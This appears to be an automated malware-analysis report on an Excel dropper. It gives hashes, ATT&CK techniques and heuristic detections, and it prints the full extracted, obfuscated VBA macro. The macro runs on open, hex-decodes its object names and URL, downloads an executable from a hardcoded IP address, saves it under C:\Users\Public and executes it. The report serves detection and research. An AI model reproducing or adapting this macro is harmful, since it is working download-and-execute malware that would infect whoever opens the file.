Office (OOXML) malware analysis — malicious · af46cdc24841137f

MALICIOUS

Office (OOXML)

78.6 KB First seen: 2020-09-15

MD5: d60f73a322bd68302ca10708fbb11e36 SHA-1: 0d0d4222876f54423a2aca8e10f06953aa55aa31 SHA-256: af46cdc24841137fde934d17a1b059d8cf98d9bb480472f8abef75d4d7eca1f2

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro is designed to execute automatically when the document is opened. It contains a hardcoded URL, "http://185.172.110.210/focm/myte.exe", which is used to download and execute a second-stage payload. This indicates a typical dropper functionality.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
ednsxtntokkcqqtolrvsmapkwdakvmwtoyfwwsjamqdoagjdwuaxextdodwtsdycoroskxrsivgvxajquxoamyoqebitwpijsaaj.write nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf = CreateObject(vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf = CreateObject(vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6593 bytes
SHA-256: `74b1fc4b84a5b9123c724f0ade00ceed1ede384ae39fd7aaa8417f4830fb8500`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select jkimlpdbyfqqugukutethwtuvzscbkhocjkoxviqzgmksjfonfhhqvxmrnqmwbznybolwgnylotbkicluepwczyglyxjfvtyhymq"68 74 74 70 3A 2F 2F 31 38 35 2E 31 37 32 2E 31 31 30 2E 32 31 30 2F 66 6F 63 6D 2F 6D 79 74 65 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub jkimlpdbyfqqugukutethwtuvzscbkhocjkoxviqzgmksjfonfhhqvxmrnqmwbznybolwgnylotbkicluepwczyglyxjfvtyhymq (njdarmezwxmuuvsnycnhqpogmlonvjarxofpxjzavcxqqkaqkbikujwxvxngyrenwvwfpcqpdmlosxpckxcubqwnriuzvtcdyjtv As String) Dim nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf Range("A6:J13").Select Dim ednsxtntokkcqqtolrvsmapkwdakvmwtoyfwwsjamqdoagjdwuaxextdodwtsdycoroskxrsivgvxajquxoamyoqebitwpijsaaj Range("A6:J13").Select Dim rqtzdhojrxfntgzvpyqpcyoioxwsmwdxzayddowejfyhvuaqqmuuklhtckkfkwwutiothwrablfwzgmuxgczcjmosfasequnjenm Range("A6:J13").Select Set nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf = CreateObject(vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf = CreateObject(vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf = CreateObject(vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf = CreateObject(vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set ednsxtntokkcqqtolrvsmapkwdakvmwtoyfwwsjamqdoagjdwuaxextdodwtsdycoroskxrsivgvxajquxoamyoqebitwpijsaaj = CreateObject(vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set rqtzdhojrxfntgzvpyqpcyoioxwsmwdxzayddowejfyhvuaqqmuuklhtckkfkwwutiothwrablfwzgmuxgczcjmosfasequnjenm = CreateObject(vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) fpdmplvvifakumleuuwqnevflostuhrfqtehdlgtjyumgyafvbtgrvhbuybbsbaanuuaidbjndgojiznnnytolnumcnfkeaiyuzl = vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada(njdarmezwxmuuvsnycnhqpogmlonvjarxofpxjzavcxqqkaqkbikujwxvxngyrenwvwfpcqpdmlosxpckxcubqwnriuzvtcdyjtv) ezxraksnotrlznnfdhlchzofpwzjcypojnjnpgsdszgtlbfwrverixeelsbdkjlqddcldzpwohjhtvuoqcshtygmjecxeptioqpi = vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6C 65 6E 6E 6E 6F 74 75 79 2e 65 78 65") zusrgidanwlpxnnhrdwfxqcywrryoasdfmpwjaalufymtnzrclrktklisuuoqemmeijlyqyqdkkrrqfjrawdjijvbgepglvqtlik = vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6C 65 6E 6E 6E 6F 74 75 79 2e 65 78 65") nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf.Open chr(71) + chr(69) + chr(84), fpdmplvvifakumleuuwqnevflostuhrfqtehdlgtjyumgyafvbtgrvhbuybbsbaanuuaidbjndgojiznnnytolnumcnfkeaiyuzl, False nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf.send ednsxtntokkcqqtolrvsmapkwdakvmwtoyfwwsjamqdoagjdwuaxextdodwtsdycoroskxrsivgvxajquxoamyoqebitwpijsaaj.Type = 1 ednsxtntokkcqqtolrvsmapkwdakvmwtoyfwwsjamqdoagjdwuaxextdodwtsdycoroskxrsivgvxajquxoamyoqebitwpijsaaj.Open ednsxtntokkcqqtolrvsmapkwdakvmwtoyfwwsjamqdoagjdwuaxextdodwtsdycoroskxrsivgvxajquxoamyoqebitwpijsaaj.write nubikthixifxilvapkmgzjnghrujjipieuppvujhiopjcxrjycooxmvehuatyxyptwsnvfeuaexltedkzklhtakryliatqjlpaqf.responseBody ednsxtntokkcqqtolrvsmapkwdakvmwtoyfwwsjamqdoagjdwuaxextdodwtsdycoroskxrsivgvxajquxoamyoqebitwpijsaaj.savetofile ezxraksnotrlznnfdhlchzofpwzjcypojnjnpgsdszgtlbfwrverixeelsbdkjlqddcldzpwohjhtvuoqcshtygmjecxeptioqpi, 2 rqtzdhojrxfntgzvpyqpcyoioxwsmwdxzayddowejfyhvuaqqmuuklhtckkfkwwutiothwrablfwzgmuxgczcjmosfasequnjenm.Run zusrgidanwlpxnnhrdwfxqcywrryoasdfmpwjaalufymtnzrclrktklisuuoqemmeijlyqyqdkkrrqfjrawdjijvbgepglvqtlik End Sub Public Function vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada(ByVal fhitvtszfkuwypidtwskwzabwywkqsmvtzoqxieiqnjileuoiqtnldqghhxwxiimyycyasgkrjtipsqrdhbayzjqjijqkhlifwjm As String) As String Dim bwnqkjvcjhqprgtpgioypmpsjpzkxldtidqhulppehgbrtyeowbxilxohugujlexexgnqlvuszuignbpqvvbkgkwgbazeugsciwt As String Dim nlocagejroittrdopcnymkholvpysbfxqicfgsbebbfrsggnqsdzvygcezreqgqqjlckpyhwbjwlfpwepchaxfcsczbgbwnvloig As String Dim evyskgylcvxodmonzqsdjkipwbvfvazqhpaudoprhqqgbmdphzwvwexumiwjlspbvhhnlujkabwsubojxgyveeucsgivsggoaolu As Long For evyskgylcvxodmonzqsdjkipwbvfvazqhpaudoprhqqgbmdphzwvwexumiwjlspbvhhnlujkabwsubojxgyveeucsgivsggoaolu = 1 To Len(fhitvtszfkuwypidtwskwzabwywkqsmvtzoqxieiqnjileuoiqtnldqghhxwxiimyycyasgkrjtipsqrdhbayzjqjijqkhlifwjm)Step 3 bwnqkjvcjhqprgtpgioypmpsjpzkxldtidqhulppehgbrtyeowbxilxohugujlexexgnqlvuszuignbpqvvbkgkwgbazeugsciwt = Chr$(Val("&H" & Mid$(fhitvtszfkuwypidtwskwzabwywkqsmvtzoqxieiqnjileuoiqtnldqghhxwxiimyycyasgkrjtipsqrdhbayzjqjijqkhlifwjm, evyskgylcvxodmonzqsdjkipwbvfvazqhpaudoprhqqgbmdphzwvwexumiwjlspbvhhnlujkabwsubojxgyveeucsgivsggoaolu, 2))) nlocagejroittrdopcnymkholvpysbfxqicfgsbebbfrsggnqsdzvygcezreqgqqjlckpyhwbjwlfpwepchaxfcsczbgbwnvloig = nlocagejroittrdopcnymkholvpysbfxqicfgsbebbfrsggnqsdzvygcezreqgqqjlckpyhwbjwlfpwepchaxfcsczbgbwnvloig & bwnqkjvcjhqprgtpgioypmpsjpzkxldtidqhulppehgbrtyeowbxilxohugujlexexgnqlvuszuignbpqvvbkgkwgbazeugsciwt Next evyskgylcvxodmonzqsdjkipwbvfvazqhpaudoprhqqgbmdphzwvwexumiwjlspbvhhnlujkabwsubojxgyveeucsgivsggoaolu vtshrjwcbwcikessmclydhayidspvvtlwmpalhesdwfovoyada = nlocagejroittrdopcnymkholvpysbfxqicfgsbebbfrsggnqsdzvygcezreqgqqjlckpyhwbjwlfpwepchaxfcsczbgbwnvloig End Function Attribute VB_Name = "doslnahjatqcokxphidwyokrm" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `9d9b8d9d20caf83192cfae58c0e403b0d070317cccfe07b9970d6862c7e0d11e`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 114 of 211 identifiers look randomly generated (e.g. 'doslnahjatqcokxphidwyokrm') — consistent with name-mangling obfuscation.

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